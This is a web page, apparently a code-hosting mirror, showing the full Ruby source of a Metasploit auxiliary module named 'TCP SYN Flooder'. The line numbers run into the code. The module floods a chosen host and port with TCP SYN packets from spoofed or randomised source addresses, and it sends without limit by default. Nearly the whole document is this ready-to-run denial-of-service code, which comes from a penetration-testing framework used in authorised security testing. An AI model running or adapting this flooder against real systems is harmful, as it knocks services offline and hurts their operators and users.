Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/tcp/synflood.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'TCP SYN Flooder',12'Description' => 'A simple TCP SYN flooder',13'Author' => 'kris katterjohn',14'License' => MSF_LICENSE15)1617register_options([18Opt::RPORT(80),19OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),20OptInt.new('SPORT', [false, 'The source port (else randomizes)']),21OptInt.new('NUM', [false, 'Number of SYNs to send (else unlimited)'])22])2324deregister_options('FILTER','PCAPFILE')25end2627def sport28datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i29end3031def rport32datastore['RPORT'].to_i33end3435def srchost36datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')37end3839def run40open_pcap4142sent = 043num = datastore['NUM'] || 04445print_status("SYN flooding #{rhost}:#{rport}...")4647p = PacketFu::TCPPacket.new48p.ip_saddr = srchost49p.ip_daddr = rhost50p.tcp_dport = rport51p.tcp_flags.syn = 15253while (num <= 0) or (sent < num)54p.ip_ttl = rand(128)+12855p.tcp_win = rand(4096)+156p.tcp_sport = sport57p.tcp_seq = rand(0x100000000)58p.recalc59break unless capture_sendto(p,rhost)60sent += 161end6263close_pcap64end65end666768